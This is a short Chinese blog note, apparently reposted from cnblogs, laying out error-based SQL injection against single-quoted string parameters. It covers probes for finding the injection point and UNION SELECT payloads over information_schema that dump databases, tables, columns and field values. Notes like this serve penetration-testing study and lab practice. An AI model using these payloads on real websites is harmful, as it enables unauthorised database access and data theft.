sql注入基于错误-单引号-字符型

查找注入点
在url中:
1. '
2. and 1=1/and 1=2
3. 随即输入(整形)
4. -1/+1回显上下页面(整形)
5. and sleep(5) (判断页面返回时间)
 
判断有多少列
order by .....
 
爆显示位
id=88888888') union select 1,2,3 --+
先获取数据库:
id=')  union select 1,2,group_concat(distinct+table_schema) from information_schema.columns  --+
再获取数据库的所有表:
id=') union select 1,2,group_concat(distinct+table_name) from information_schema.columns where table_schema='库名' --+
再获取表中的字段:
id=')  union select 1,2,group_concat(distinct+column_name) from information_schema. columns where table_name='表名' --+
再获取字段信息
id=')  union select 1,2,group_concat(id,sessid,secret_EXS6,tryy) from 库名.表名--+

转载于:https://www.cnblogs.com/sky--/p/5761748.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值